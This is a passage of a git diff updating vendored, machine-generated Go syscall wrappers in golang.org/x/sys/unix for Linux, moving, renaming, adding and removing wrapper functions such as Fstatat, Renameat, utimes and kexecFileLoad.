-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func write(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1462,8 +24,8 @@ func Munlock(b []byte) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1472,14 +34,9 @@ func Mlockall(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1488,8 +45,8 @@ func Msync(b []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1498,8 +55,9 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1555,6 +113,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, buf *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(buf)), 0)
- if e1 != 0 {
-@@ -1576,7 +149,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1584,7 +157,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1592,7 +165,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1610,14 +183,14 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func InotifyInit() (fd int, err error) {
-+func inotifyInit() (fd int, err error) {
- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT, 0, 0, 0)
- fd = int(r0)
- if e1 != 0 {
-@@ -1673,21 +246,6 @@ func Listen(s int, n int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Pause() (err error) {
- _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
- if e1 != 0 {
-@@ -1732,9 +290,18 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seek(fd int, offset int64, whence int) (off int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-- off = int64(r0)
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1743,9 +310,9 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-- n = int(r0)
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ off = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1765,8 +332,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1775,8 +343,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1856,21 +425,6 @@ func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n i
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Statfs(path string, buf *Statfs_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1911,6 +465,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
-@@ -2101,6 +665,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Utime(path string, buf *Utimbuf) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -2116,8 +695,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2126,8 +710,8 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2144,3 +728,18 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_arm.go
-index 4d280427..ac19523e 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_arm.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -arm -tags linux,arm syscall_linux.go syscall_linux_arm.go
-+// go run mksyscall.go -l32 -arm -tags linux,arm syscall_linux.go syscall_linux_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,arm
-@@ -14,1456 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
